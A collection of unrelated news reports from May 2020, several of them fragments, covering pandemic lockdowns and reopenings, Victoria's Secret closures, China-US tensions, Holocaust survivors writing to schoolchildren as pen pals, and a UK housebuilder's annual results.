The Indian Ocean nation has confirmed 371 COVID-19 cases, with two death and 131 recoveries, according to data compiled by the US John Hopkins University.

READ ALSO: Senator Isaac Mwaura says Jubilee Party died after Uhuru-Raila handshake

On Sunday, May 17, Rajoelina urged the public to protect themselves from the novel coronavirus by drinking CVO.

Madagascar has sent CVO to several African countries including Comoros, Guinea Bissau, Equatorial Guinea, the Democratic Republic of Congo, Liberia, Niger, Tanzania, Nigeria, Senegal, and Chad.

Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly

Source: TUKO.co.ke
Special inspection on garbage sorting to be conducted in city

By:Zheng Qian | From:english.eastday.com | 2020-05-22 17:38

A three-month law enforcement action on garbage sorting, a regulation executed in July 2019, will be conducted in Shanghai from mid-May, announced Shanghai's urban management and law enforcement authorities.



Data shows that as of April 2020, the authorities have carried out 123,000 inspections, and among all punishment cases, those related to garbage uncategorization are the most, accounting for 60.9%.

In the upcoming three-month inspection, illegal acts categorized as throwing, collection, transportation and disposal will be the key aspects the authorities focus on. More than 13,000 communities will be checked to examine residentsrandomly throwing trash near the in-time and delayed garbage collection positions.

Catering companies, hotels, universities, hospitals, food markets, transportation hubs, and tourist attractions that have a high incidence of banned actions will be inspected completely.

230 garbage collection and transportation companies and 9 terminal garbage disposal enterprises will also be included in the inspection so as to monitor their normative operation.
EL CERRITO, CA  Victorias Secret will permanently close about 250 stores in the United States and Canada by the end of this year, parent company L Brands announced this week.

Also slated for closure are 50 Bath & Body Works locations. The news came this week after L Brands posted its quarterly earnings online.

Victorias Secret, a popular womens lingerie retailer, has 1,091 stores in the United States and Canada. L Brands said it will close 235 U.S. Victorias Secret and three Pink stores. It also plans to close 13 of its 38 stores in Canada.

While the company has yet to name which stores it plans to close, El Cerrito has several nearby Victorias Secret locations that could be on the list, one on Bay Street in Emeryville, and three in San Francisco.

The closest Bath & Body Works stores are on Bay Street in Emeryville, and one in San Francisco.

In February, L Brands was prepared to sell a majority stake of Victorias Secret to Sycamore Partners, a deal that would have spun off the Victoria's Secret brand  made up of Victoria's Secret Lingerie, Victoria's Secret Beauty, and PINK  into a separate, standalone company.

However, the companies agreed to terminate the sale after L Brands was forced to impose furloughs and mass store closures in response to the coronavirus pandemic. Ending the agreement also avoided a lawsuit by Sycamore Partners, which had accused L Brands of breach of contract.

Victorias Secret reported net sales of $1.65 billion for the first quarter of 2020, compared with $2.6 billion for the same quarter last year.

In a call with analysts, Interim Victorias Secret CEO Stuart Burgdoerfer said the closings will occur over the next several months. Additional closings are anticipated, USA Today reported.

L Brands said in a news release that it "remains committed to establishing Bath & Body Works as a pure-play public company and is taking the necessary steps to prepare the Victorias Secret Lingerie, Victorias Secret Beauty and PINK businesses to operate as a separate, standalone company."

Story continues

Victorias Secret and Bath & Body Works are the latest in a series of retail closures prompted by dwindling revenue amid the coronavirus pandemic.

Pier 1 Imports and J.C. Penney both announced the companies would file for bankruptcy. While J.C. Penney plans to close about 240 stores, Pier 1 will close all locations. Earlier this month, luxury department store Neiman Marcus filed for bankruptcy after furloughing 14,000 employees and temporarily closing its 43 stores. Nordstrom is also closing stores.

Related:

This article originally appeared on the El Cerrito Patch
A top official of China's legislature said the country will firmly defend its interests if the US seeks to contain it, and hinted it will not reduce military spending in the coming year despite the Covid-19 outbreak.

Zhang Yesui, a spokesman for the National People's Congress Foreign Affairs Committee, met the press on Thursday evening in Beijing to announce the agenda for the upcoming parliamentary session and took questions from reporters.

"If the US insists on a Cold War thinking, and carries out strategies to contain China, damage China's core interests, the result can only hurt itself and others," he said in response to a question on the two countries' relationship.

"China never starts trouble and never flinches when trouble comes its way. China will firmly defend its sovereignty, security and development interests."

The spokesman also said the country's defence budget has been consistent at 1.3 per cent of GDP, which is below the global average of 2.6 per cent.

"China's defence budget is modest and restrained, no matter its absolute amount, per capita or as a portion of the GDP," Zhang said.

On the agenda for China's National People's Congress (NPC) session, which will start on Friday, is the controversial resolution to empower the NPC Standing Committee to commence the drafting of a national security bill for Hong Kong. Another item is the long-awaited civil code, which China has not introduced until now.

The annual meetings of the Chinese People's Political Consultative Conference and the NPC, known as the "two sessions", are mostly rubber-stamp affairs which Beijing uses to make public its yearly economic agenda, growth targets and national budget.

Relations between China and the US have been fraught in the past two years, but reached a new low amid the Covid-19 pandemic. While a bilateral phase-one trade deal was signed on January 15, the goodwill evaporated as the new coronavirus spread widely in the US in March.

Story continues

As of Thursday, the US has the highest number of confirmed cases in the world at over 1.5 million and the highest death toll at over 93,000. More than 38 million people in the US have lost their jobs due to the pandemic.

US President Donald Trump has blamed China for the coronavirus, as it was first identified in the central city of Wuhan at the end of 2019.

Tensions are also high over Taiwan, as the US government told Congress of a possible sale to Taiwan of advanced torpedoes worth around US$180 million, according to a statement this week by the US Defence Security Cooperation Agency.

This disclosure coincided with Taiwan President Tsai Ing-wen's second-term inauguration on Wednesday, which saw her receive both congratulations from US Secretary of State Mike Pompeo and warnings from Chinese authorities over her refusal to accept Beijing's "one country, two systems" proposal for cross-strait unification.

US navy vessels have passed through the Taiwan Strait six times this year. In April, the guided missile destroyer USS Barry sailed through the strait on the same day as Chinese fighter jets carried out a drill in waters close to Taiwan.

Additional reporting by Coco Feng

This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright  2020 South China Morning Post Publishers Ltd. All rights reserved.

Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved.
Australian schoolchildren have become pen pals to Holocaust survivors to lift their spirits in isolation as part of a heartwarming project developed by Sydney's Jewish Museum.

Before the museum closed its doors along with all non-essential services on March 23, Australian survivors had shared their remarkable stories with students, school groups and visitors almost every Tuesday since it opened 28 years ago in 1992.

As the country entered lockdown, museum coordinator Ilana McCorquodale saw an opportunity for survivors to embrace the nostalgia of letter writing while forging new relationships with the children they should have been speaking to face to face.

Ms McCorquodale told Daily Mail Australia she has been 'inundated' with interest from parents and children, who have already developed 'beautiful friendships' with their elderly correspondents.

Some survivors write to more than one pen pal, such is the interest in the initiative.

Heartfelt conversations have unfolded between young and old, restoring a sense of purpose to survivors who are among those most vulnerable to the impact of confinement and isolation.

Honest, thoughtful and simple, the letters offer insight into coronavirus through the inquisitive eyes of children, and stand as a sobering testament to the enduring trauma still experienced by Jewish survivors, 87 years since the Nazis came to power.

Scroll down for video

Author Kitty Lowringer, who was born in Budapest, Hungary in 1943 and survived the war with her mother. They emigrated to Australia on Christmas Day, 1949. Here, Kitty holds a photograph of herself taken on her third birthday in Budapest in 1946, by which time the Nazis had murdered her father as he tried to escape a forced labour camp.

Slovakian-born 'Paul' and his parents lived in hiding in a farmer's attic until September 1944, when they were rounded up for transport in the final 'resettlement' of Slovak Jews.

Aged 6, Paul was deported to Theresienstadt, a concentration camp and ghetto near the town of Terezin in Nazi-occupied Czechoslovakia, where he and his mother were prisoners until the Allies liberated the region in May 1945.

His father was taken to Sered labour camp in southern Slovakia, where he was murdered by members of the notoriously violent Hlinka Guards in late 1944.

Now 82, Paul remembers this time in his letters and compares the fear he felt to the anxiety he has experienced since the pandemic began.

'Our current isolation reminds me of the frightening days during 1944,' he writes.

'The COVID-19 is making life difficult. By taking care, we will all be fine in a short time. Take care and stay safe. Love, Paul.'

A letter from Slovakian Holocaust survivor 'Paul' to his new pen pal, in which he recounts his time in hiding in 1944 and discusses his anxiety about the present pandemic

Author Kitty Lowringer survived the war with her mother in Budapest, Hungary, and was still a small child when the Allies reclaimed Europe in the spring of 1945, younger than her new pen pal Jonathan is today.

'It is good to see that you are choosing to look at the present lockdown with a positive attitude,' 79-year-old Kitty writes to Jonathan.

In a particularly poignant part of her letter, she says they may lose contact when restrictions are lifted, as school resumes and free time becomes less, but encourages her young friend to maintain his optimism and do good things with his life.

'I am not sure if you'll have time to write to me once school goes back, but I hope that you will continue in making the best choices and keep your positive outlook on life,' she writes, signing the note 'your pen pal, Kitty'.

A letter from survivor 'Kitty' to her young pen pal Jonathan, where she encourages him to maintain his optimism and make good choices in life

Clued-in schoolboy 'Jayden S' shares his opinion on a coronavirus conspiracy theory, but is more interested in learning about his pen pal's background.

'This brings me to my next topic, where do you come from? (Not in a rude way but like in a tell me more about you sort of way),' he writes, careful not to cause offence.

Survivor Magda Forbath was just six months old when German forces occupied her native Hungary in March 1944.

Magda, 77, reflects on the unusual Pesach  Passover  celebrated by Jewish people this April, which was characterised by empty chairs that would normally be filled with visiting friends and family.

'Hope and pray that this world tragedy will come to an end soon,' she writes.

'In the meantime, we have to make the most of the time we spend together with our family. Looking forward to your next letter.'

In this short note, schoolboy Jayden S shares his opinion on a coronavirus conspiracy theory and respectfully asks his pen pal about his childhood

A letter from survivor 'Magda', who reflects on the unusual Passover celebration of 2020 characterised by empty chairs that would normally be filled with visiting friends and family

Sydney schoolgirl 'Summer' drew a painting for her 93-year-old pen pal Olga Horak, who was evidently delighted to receive such a thoughtful gift.

Olga survived the war through a series of miracles with her mother Piroska, and were liberated from Bergen-Belsen concentration camp together shortly before her 19th birthday on April 15, 1945.

But less than two days later, while queuing to be registered as displaced persons, Piroska collapsed and died in her daughter's arms, clutching her newly issued identity card between her fingers. She was just 39 years old.

Despite losing her beloved mother when she was still a teenager, Olga overcame unimaginable adversity to live a remarkable life in Australia, settling in north Sydney where she founded a successful clothing factory with her husband John - a fellow survivor.

Then and now: Czechoslovak Holocaust survivor Olga Horak wears a blouse she designed herself at her clothing factory in Sydney in the late 1950s (left), and a dress she stitched by hand at Sydney's Jewish Museum in 2019

'I thank you sincerely for your beautiful letter with your enclosed art painting. You are a very gifted young lady, you are also very intelligent,' Olga writes to Summer.

The fashion designer says she is excited to meet Summer at the museum 'once the dangerous coronavirus' has passed, in messages that clearly show the warm friendship developing between the unlikely pair.

Ms McCorquodale and her team of educators plan to organise a group meeting between survivors and their pen pals whenever social distancing laws permit.

'There really has been so much heart that's gone into this. Having them come face to face will be a really special moment,' she said.
A Canadian nurse who caught the novel coronavirus months ago said she's tested positive eight times in the last 50 days.

On March 30, Tracy Schofield, from Cambridge, Ontario, began experiencing symptoms such as chills, a fever, and shortness of breath.

The following day, she took her first test for COVID-19, the disease caused by the virus, and the result was positive, reported CTV News.

Schofield, 49, spent the traditional two weeks self-isolating, but her second test came back positive. Since then, six more have returned the same result.

Doctors have told the mother-of-three that they don't believe she is contagious anymore, but that they can't explain why she keeps testing positive.

Tracy Schofield, 49 (left and right), from Cambridge, Ontario, Canada, tested positive for coronavirus on March 31. She spent two weeks self-isolating in her room at home, but her second test at the end of her isolation period came back positive

To be considered recovered, two negative tests need to be taken 24 hours apart. Schofield's eighth overall test from Cambridge Memorial Hospital (pictured) came back negative, but her ninth test was positive

'Whenever I get the test result, it's like somebody punches me in the stomach,' Schofield told CTV News.

'I just want someone to be able to tell me something. Give me an answer. Am I going to have it forever?'

For two weeks after her first positive test, Schofield says she self-isolated in her room at her house, where she lives with her 17-year-old son, Ethan.

Over that period, her temperature reached 104.1F and wouldn't come down with Tylenol. She says she also lost her sense of smell and taste.

'I couldn't smell Vick's VapoRub, I couldn't taste salt and vinegar chips,' Schofield told CTV News.

Now, almost two months later, the majority of her symptoms have disappeared aside from a cough and a little difficulty breathing.

However, her tests from Cambridge Memorial Hospital have kept returning positive.

Schofield says she was excited after her eighth overall test came back negative.

But patients must receive two negative results within a 24-hour period to be considered recovered. Her ninth test came back positive.

And, although authorities from Region of Waterloo Public Health, have allowed her to leave her house on April 14, she says she won't consider herself recovered until she gets her two consecutive negative test results.

Schofield says she has does not have any pre-existing conditions but she's concerned that she'll have long-term complications from the virus.

Schofield had been cleared to go back to work as a registered practical nurse but is scared about infecting others.

She is now waiting five days until she can take her tenth overall test.

Health experts say she likely just has dead virus cells still circulating in her body , CTV News reports.

It comes on the heels of news that patients who test positive for the novel coronavirus after having recovered are not contagious.

Researchers from the Korea Centers for Disease Control and Prevention (KCDC) looked at 285 survivors who tested positive after previous tests said they were negative.

None of the 790 people that the patients came into contact with were found to be infected with COVID-19, the disease caused by the virus.

In the US, there are more than 1.5 million confirmed cases of the virus and more than 93,000 deaths.
Some Tauranga parents are struggling with the school bus service this week, with students being left behind and several routes operating at limited capacity.

The school bus service resumed on Monday, as students returned to the classroom after eight weeks of lockdown.

But Sarah Nicol says her children have been left stranded at the bus stop twice this week when trying to get to Tauranga Intermediate School.

Sarah says her son and daughter were refused entry on the 804a Welcome Bay Tauranga Intermediate Bus on Monday and Tuesday because they didnt have ID.

Its just been a pure struggle this week - the first two days they were turned away because they were told they needed identification.

Sarahs children say neither of the buses appeared to be full.

I need my kids to get on the bus every morning. I work, and their father works, so it is the only way they can get to school. It has just been one giant headache, worrying if they have made it onto the school bus or not.

Sarah has been in contact with the Bay of Plenty Regional Council and Tauranga Intermediate School to try and solve the problem.

Ideally something would have been sorted before school started this week.

In a written statement, Regional Council transport advisor Melissa Winters says this specific incident is being investigated.

We are aware that two children had reported being asked for ID and refused entry onto the bus. It is not our policy to ask students in uniform for ID, and the incident is being investigated.

She says parents have been asked to wait at the bus stop with their child if possible, in case they are unable to get on the bus.

Another Tauranga Intermediate School mum says many Welcome Bay parents have been steering clear of the school bus this week.

Lots of Welcome Bay parents are driving their kids to and from school so the kids don't have the added stress of missing the bus as well as coping with returning to school after a long break, says Kerry Mitchell.

She says herself and the neighbours have been carpooling and sharing drop-offs and pick-ups.

A Maungatapu Primary father is frustrated after finding out his two children cant use the school bus service because of capacity restrictions.

Route 901a route for Maungatapu Primary can only carry 20 passengers during level 2.

The Ministry of Education has exempt dedicated school buses from physical distancing rules, meaning many are operating as normal.

However, Melissa says the 901a route for Maungatapu Primary is integrated with Bayhopper and is not exempt by MOH from the physical distancing rules like dedicated school buses.

Peter Bremner says he relies on the service to transport his kids to and from school but has missed out as registrations were taken first in first serve.

Over the weekend, Peter received an email from the school asking parents to register children if they wanted them to use the bus service.

Because 20 other families replied before we did, we have missed out.

The school bus is essential for us to - my wife and I are full-time professionals. All of a sudden it is our responsibility to find a way to get our kids to and from school.

Maungatapu Primary took to their school Facebook page saying the 20 children who have been registered to use this service during alert level 2 will be the only children put on this bus.

A roll is taken each morning and afternoon to monitor this and for tracking and tracing purposes.

Regional Council say they have provided seven additional buses to increase capacity in the most affected areas.

Melissa says they are also working closely with schools to ensure that everyone is aware of the reduced capacity of the buses.

Parents have been asked to consider making alternative arrangements to get their children to and from school where there are capacity issues on their childs bus.

They are continuing to look for ways to increase the capacity on the school network, she says.
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Uganda's security officers stand accused of using excessive force and targeting political opponents while carrying out lockdown measures during the coronavirus pandemic. On April 19, police arrested Ugandan legislator Francis Zaake and released a week later but with scars and partially blind.
HONG KONG  Chinas desire to take a stronger hand in running Hong Kong has imperiled its status as Asias financial capital, sending its stock market into its sharpest plunge in five years and spurring predictions that money and business could soon leave the former British colony.

The threat does not come just from Beijing, which late on Thursday outlined its plan to bypass Hong Kong leaders and enact national security laws affecting the territory of roughly seven million people. That move puts Hong Kong squarely in the middle of the growing conflict between China and the United States, which is increasingly challenging Beijing on a number of fronts and could retaliate in ways that hobble its appeal as a place to do business.

Businesses and investors worry that a bruising clash between the superpowers could put an end to Hong Kongs enviable position as a bridge between Chinas powerful economic engine and the rest of the world.

No matter what, they need to maintain Hong Kongs unique status, said Fred Hu, a prominent investor and former chairman of Goldman Sachss Greater China business. His investment firm, Primavera Capital Group, has put billions of dollars in investments into China over the years.
I am responding to Bruce Arthurs Wednesday article about Ontarios public health strategy in response to COVID-19. I was disappointed to read this article and believe that our COVID-19 response demonstrates an unprecedented collaboration across all levels of government, our health-care system and community. It also demonstrates our ability as a city to come together and work through extreme challenges that none of us have ever faced before.

Case investigation and contact management is core public health work and critical to our COVID-19 response. It helps us to reduce the spread of COVID-19 in our city. When a patient gets a test for COVID-19, it is sent to a lab for testing. The physician who ordered the test receives the result and it is their obligation to notify the patient. This is part of the health provider-patient relationship.

Under the Health Protection and Promotion Act, the physician is required to notify local public health if they know or suspect that a patient has a reportable disease, including COVID-19. The lab also shares this responsibility to report to local public health.

As soon as my team is notified of a positive case, they act on this information immediately to begin the case and contact management process. Unfortunately, the path from patient testing to the notification of public health is not always smooth. This can result in delays in the case and contact management process.

Given the significance of timely case and contact management, especially as the province continues to reopen, my team is actively reaching out to the province, local labs, hospitals and assessment centres during this emergency to address this matter.

While public health is responsible for case and contact management, health providers also play an important role in our COVID-19 battle. When physicians are informing a patient about their positive lab results, they should also tell them to isolate and to advise the others in their household to stay home. These actions help reduce virus spread in our community.

Whether it is COVID-19 or any other communicable disease, we work hand-in-hand with clinicians, and consider their work a critical part of our public health response.

As Dr. Warner and Mr. Arthur note, we need to move forward with the utmost care and caution in reopening the city. We cannot take our progress for granted and we need to continue to monitor our data. We need to be ready for flare ups in our journey from COVID-19 response to COVID-19 recovery.

We are moving in the right direction, and we must continue to support each other as we navigate this challenging and unprecedented situation together.
Cyprus will reopen its airports to commercial flights from June 9 after nearly three months of lockdown, Transport Minister Yiannis Karousos said Friday.

The phased reopening will initially allow passengers to fly to the small EU state from about 20 countries.

But the island's two largest tourist markets, Britain -- which accounts for a third of all arrivals -- and Russia, are not on the initial lists, amid concerns that the new coronavirus has not been sufficiently contained in those countries.

A second phase of easing restrictions will begin on June 20, the minister said after a cabinet meeting that agreed the measures.

In the first phase, visitors will need to have tested negative for coronavirus within 72 hours of arriving in Cyprus with a certificate to prove it.

Cypriot residents can take the test upon arrival in Cyprus and will have to self-isolate until the result is known, said Karousos.

From June 20 people arriving from "Category A" countries -- a list of 13 nations, including Greece, Germany and Malta -- will not need to present a health certificate proving that they are not infected by COVID-19.

But it will still be necessary to carry a certificate proving a negative coronavirus test if arriving from Category B countries -- six nations, including Switzerland and Poland -- according to Karousos.

Karousos said commercial flights from countries not on the lists will not be allowed unless they are repatriation flights for Cypriot residents returning home during this initial period.

Cyprus issued a commercial flight ban on March 21 as part of its lockdown measures, which -- alongside a rigorous testing process -- have seen new cases fall into the low single digits day-on-day in recent weeks.

Tourism contributes about 15 percent of Cyprus' GDP and a record 3.97 million tourists visited last year.

Authorities expect arrivals will be down by 70 percent in 2020.
Faith leaders pray over President Donald Trump during an "Evangelicals for Trump" campaign event at the King Jesus International Ministry in Miami, Florida, on January 3, 2020.

Joe Raedle/Getty Images

The White House has shelved guidelines proposed by the Centers for Disease Control and Prevention on how to reopen churches and religious spaces from lockdown measures.

The CDC wanted them to be issued with detailed guidance on how to reopen without risking a new wave of infections.

But according to The Washington Post, the White House believed the advice was too restrictive and could risk angering evangelicals, a key base for President Donald Trump.

Visit Business Insider's homepage for more stories.

A rift has opened between the White House and the Centers for Disease Control and Prevention over guidelines issued to churches about reopening while avoiding a new surge in coronavirus infections, reported The Washington Post.

The CDC this week issued reopening guidelines for schools, small businesses, restaurants, childcare facilities, and public transport.

Guidelines for the reopening of churches and other religious institutions were conspicuously absent.

The reason for this, three administration sources told The Post, was anxiety in the White House that the CDC's advice for reopening churches were too restrictive, and could anger religious voters, such as the white evangelicals who form one of the core elements of President Donald Trump's support.

Advice such as limits on hymnals, the size of choirs, or the passing of collection plates was disputed by the White House, according to the report.

The failure to reach a compromise meant that advice for reopening churches was shelved.

"You're talking about that group that is really vulnerable to this virus, and those are the ones you don't have guidelines for and that you need to protect," Tara Smith, an epidemiology professor at Kent State University, told The Post.

White House spokesman Judd Deere told The Post that Trump and "all Americans want to see their churches safely open again. Not only is it good for the community, it's their right under the Constitution to worship freely without government intrusion."

Story continues

The closure of churches has emerged as one of the key battlegrounds between the Trump administration  which favors a quick end to lockdown measures  and state authorities who advocate a more cautious approach to ending the restrictions designed to slow the spread of the disease.

The Justice Department in recent weeks has issued statements of support for a Virginia church that launched a lawsuit against state authorities for demanding that it limit itself a maximum of ten worshippers, as well as warned California Gov. Gavin Newsom that the state's gradual plans for easing lockdown could discriminate against religious communities.

Read the original article on Business Insider
But authorities and the judge hearing the details of the case during a bail hearing Thursday were troubled by a series of emotional text messages that Brian D. Rosin  who they said had also ingested a psychotropic drug  allegedly sent to his wife Isabels phone during the April 28 incident inside their apartment in the 1200 block of West Carmen Avenue.
Airlines will have to abide by limits set on fares and passengers will follow a host of safety protocols, including declaring their health status and wearing masks, when one-third of domestic flight operations resume on May 25, the government said on Thursday. Separately, it also asked states to strictly follow lockdown guidelines, including the night-time curfew and social-distancing measures, to contain the coronavirus disease (Covid-19) outbreak.

India unlocks air travel on 383 routes with new rules

India will reopen air travel on 383 routes across the country after a two-month gap, the government announced on Thursday, but allowed one-third of the operations beginning May 25 and set limits on fares that airlines can charge in the initial phase of this critical unlocking of swift long-distance travel. Read more

No meals, PPE suits for staff and 1 cabin bag in flight norms

Passengers boarding domestic flights beginning Monday will have to report at least two hours before departure, declare their health status at the airport, and have to complete the check-in process online, according to the governments guidelines. Read more

Covid-19: What you need to know today

India is moving again.On Wednesday, the civil aviation ministry announced the resumption of flights, and on Thursday, it came out with the details. There wont be as many flights as there were before the lockdown  just around a third  and the government will define the range for ticket prices. Read more

Private airlines likely to be part of third phase of Vande Bharat Mission

The third phase of the Vande Bharat Mission, Indias massive programme to repatriate nationals stranded across the globe because of the Covid-19 crisis, is expected to involve private airlines to increase the number of flights. Read more

Govt tells states to follow night curfew, flags norms violation

The ministry of home affairs (MHA) on Thursday again nudged the states to strictly follow lockdown guidelines, particularly the night curfew, to make sure people observe social distancing norms and contain the risk of infection spreading. Read more

Railways allow opening of ticket counters at select stations

The Indian Railways has allowed re-opening of reservation counters at select stations and booking through Common Service Centers (CSCs) and agents, the ministry of railways said Thursday. Read more

Utilised curbs to ramp up health care infrastructure: Centre

India has used the lockdown imposed on March 25 gainfully to ramp up its health-care infrastructure and kept its coronavirus disease (Covid-19) mortality rate relatively low, health ministry officials said on Thursday in response to reports that questioned the effectiveness of what has been billed as the worlds strictest lockdown. Read more

Pandemic affected as many as 93 million urban workers: GoM report

As many as 93 million urban informal workers, across five sectors -- manufacturing, construction, trade, tourism and hospitality -- have been affected by the ongoing Covid-19 pandemic and the lockdown imposed to slow its spread, according to an informal Group of Ministers headed by labour minister Thawarchand Gehlot. Read more

Pandemic has hit defence production: Rajnath Singh

Defence minister Rajnath Singh on Thursday said the lockdown imposed to check the spread of the coronavirus disease (Covid-19) in late March has hit defence manufacturing harder than other sectors. Read more

Will meet piped water target despite outbreak: Jal Shakti minister

The coronavirus disease (Covid-19) pandemic has made no difference to Indias stated goal of providing piped water to all households by 2024, Jal Shakti minister Gajendra Singh Shekhawat said. Read more

Culture ministry plans norms for public spaces

The Union culture ministry is drafting guidelines for people to enter public spaces governed by institutes that come under its regulation -- including national monuments such as the Taj Mahal, galleries such as the National Gallery of Modern Art, and other museums and libraries -- once the national lockdown imposed to contain the spread of Covid-19 is lifted. Read more

Covid-19: Two studies indicate reinfection may not happen

Two recently published studies hold promise over one of the most enduring questions since the outbreak of the coronavirus disease (Covid-19): does a person who has recovered from the highly contagious disease develop immunity against reinfection? Read more

Donald Trump accuses China of disinformation attack

US President Donald Trump on Wednesday accused China of spreading disinformation about the Covid-19 pandemic on orders coming from the top, a reference perhaps to President Xi Jinping. Read more

Apple, Google release tech for Coronavirus pandemic apps

Apple and Google on Wednesday released long-awaited smartphone technology to notify people if they might have been exposed to the coronavirus. The companies said 22 countries and several US states are already planning to build voluntary phone apps using their software. Read more

When virus queered the pitch

The cricket pitch, the sports literal centre, has been impacted by Covid-19. And times running out. Playing surfaces get a top dressing (manure, fertiliser, a special kind of soil) before monsoon hits in June. Read more
22 May 2020

St Mark Homes Plc

('SMH' or "the Company')

Final results

St Mark Homes (AQSE: SMAP), the housebuilder operating mainly in London and the South of England, today announces its Final Results for the year ended 31 December 2019.

Strategic report

The directors present their strategic report for the year ended 31 December 2019.

Review of the business

The Group continues to develop residential led projects located in London and the Southern regions of the United Kingdom. We primarily target the sub 1,000 per square foot residential sales market with a particular emphasis on developing schemes which consist of units that can be made available for sale under the 600,000 London Help to Buy limit.

The Group typically undertakes its business within special purpose vehicles and on a joint venture/profit sharing basis with other house builders. This strategy has helped the Group to generate profits and increase distributions to shareholders in recent years. With customers being slower to commit to property purchases and property prices and volumes under pressure 2019 has been a testing year. Notwithstanding these market challenges the directors are pleased to report a profit before tax for the current year amounted of 113,977 (2018: 117,442). Dividend distributions to shareholders were maintained at 5.5p per share.

Our strategic priorities

The Board remain keen to grow the Group into a significant regional house builder. We have an established and profitable method of operation and intend to participate in additional projects in the coming years.

We believe the key Group assets are its people, capital base and market listing. Our primary aim is to maximise shareholder value by utilising each of these assets to best effect. We also are committed to the highest standards of sustainability.

People and partnering

We have an intentionally small but experienced team with demonstrable competency in the areas of finance, property development, project appraisal and project delivery. Our strategy is to match those core skills and our capital with partners who can assist with project design, construction and sales. Our people are motivated through a management incentive scheme which aligns their interests with that of the shareholders and only rewards performance after attainment of profit targets linked to the return on shareholders' funds.

Capital

The Group commenced 2019 with a capital base just over 5.73m (2018: 5.87m). We have previously set a performance target to grow that base by a minimum of 5% on opening shareholders' funds per annum through organic growth. In 2019 we achieved a pre-tax profit of 2% (2018: 2%) on opening shareholders' funds during testing market conditions .

The Group will be repaying the 30 month bond (which carries a 6% coupon) in 2020. .

AQSE Growth Market Listing

The market mid-price on 20 May 2020 of 0.875 represents a discount of 33% to the net asset value of 1.27 per share reported at 31 December 2019. The 2019 dividend yield based on this market mid price is 6.28%.

We will continue to monitor the effectiveness of the market and as the Group grows we may in future consider a move to AIM. In the interim the Board believe the continued expansion of the capital base and the continuation of profit and dividend growth are steps that can broaden investor appeal.

Sustainability

We recognise that there are financial and operational benefits of working sustainably and we are committed to the highest standards of sustainability. While many environmental requirements are embedded within the planning process, sustainability is a broader issue than that and encompasses both Health & Safety and the supply chain.

Health & Safety continues to remain the Group's first priority and we work with our joint venture partners to attain best practice standards. We are happy to report that there were no reportable incidents on any of our projects during 2019 and we remain committed to the highest standards of Health & Safety.

Having the right supply chain is also crucial to sustainability. We do have long term working relationships with our main suppliers but continue to carefully monitor the financial health of our design teams and main contractors. We aim to pay suppliers to agreed timescales and to work collaboratively with them for the benefit of all.

Project Portfolio

At present we have live joint venture projects on sites in Sutton, Battersea and Hanwell which we anticipate will deliver profits in 2020 through to 2022. As these projects are completed we will seek replacement schemes.

Completed Developments

London Road, Hounslow TW3:

The Group holds a joint venture interest of 40% in the development of 34 flats in Hounslow with its development partners. The construction works on site were completed at the end of July 2018. A total of 33 residential units had either legally exchanged or legally completed at 31 December 2019. In accordance with our revenue recognition policy we have recognised a profit of 260,179 (2018: 134,703) and project management fees of nil (2018: 43,200) during 2019. The final remaining unit on the project sold in early 2020.

Heron House, Wembley:

The Group had a joint venture interest of up to 40% in the development of 40 flats and commercial space in Wembley. Project management fees of 216,000 were recognised during 2019 (2018: 208,000). The site was sold to a Housing association in December 2019 and the company capital committed to the project has been repaid.

Continuing Developments

Sutton High Street, Sutton:

The Group retains a 40% interest in a development site at Sutton High Street. Planning has been challenging on the project with an appeal failing in July 2019. This did however provide clarity on development that would be acceptable and following extensive consultation with the local authority our joint venture partner has submitted a new application for a comprehensive redevelopment of the site for a mixed use scheme (i.e. residential and commercial) in April 2020 - a decision is expected later in the summer of 2020.

Gwynne Road, London SW11:

The Group has a 40% interest in the redevelopment of this site with its joint venture partner. The initial phase of the project was completed in 2019 providing a mixed use development of commercial/retail at ground and mezzanine levels and 33 residential flats above. The next planned phase of development is to obtain D1 planning consent on the ground floor and as well as consent for an additional penthouse on the top of the building.

At 31 December 2019 sale contracts have been legally exchanged on all residential units. In accordance with our revenue recognition policy we have recognised a loss of 33,198 (2018: 7,643 loss) and project management fees of 18,000 (2018: 43,200) during 2019.

Uxbridge Road, Hanwell, London W7:

The Group has a 50% interest in the redevelopment of this site with full planning permission in place to provide 43 residential units (7 Houses and 36 Apartments) and ground floor retail fronting Uxbridge Road, Hanwell, West London. In accordance with our revenue recognition policy we have recognised project management fees of 90,000 (2018: nil) during 2019.

Future Developments

As capital and profits are released from the current project portfolio the Board will seek out further opportunities with similar risk profiles. The Group's schemes have largely been in the outer London Boroughs and it is intended that the Group will continue to focus on this geographic area.

Principal risks and uncertainties

The Group is exposed to the usual risks of companies constructing and developing residential property, including construction budget overruns, delays in programme, insolvency of clients, general economic conditions, project availability, uninsured calamities and other factors.

Investments are made in sterling and therefore the Group is not subject to foreign exchange risks. The Group's credit risk is primarily attributable to its trade debtors. Credit risk is managed by monitoring payments against contractual agreements. The Group also reviews the financial standings of its debtors prior to entering into significant contracts.

Key Performance Indicators

The Group's long term performance target has been to generate a minimum average annual return on shareholders funds of 5%. During 2019 the annual pre-tax return on shareholders' funds was 2% (2018: 2%). The sales market remained challenging in 2019 and extended sales periods have impacted profit recognition in 2019 and our ability to reutilise capital. The early part of 2020 remains challenging for different reasons and in the current environment the board believe a return of 2% on capital is an acceptable return.

The Group also seeks protection from market downturns by committing no more than 50% of its capital to any one project and by requiring projects in which it is a stakeholder to show a minimum return on cost of 15%. During 2019 the maximum exposure of capital to any one project was less than 40% of the Group capital.

Treasury policy

Operations have been financed by the issue of shares in the past and retained profits, the cash from which has been invested in short term cash deposits. In addition, various financial instruments such as trade debtors and trade creditors arise directly from the Group's operations. Loans have been funded by the cash income from previous development projects. In 2018 and 2019 the 6% bond has also funded the loans to joint venture partners. Further information on financial instruments is contained in note 22 of the financial statements.

On behalf of the Board

Barry Tansey

Chief Executive

Date: 22 May 2020

The Directors of St Mark Homes PLC accept responsibility for this announcement.

For further information, please contact:

St Mark Homes Plc Sean Ryan, Finance Director Tel: +44 (0) 20 8903 2442 seanryan@stmarkhomes.com Alfred Henry Corporate Finance Ltd, AQSE Growth Market Corporate Adviser Jon Isaacs / Nick Michaels Tel: +44 (0) 20 3772 0021 www.alfredhenry.com

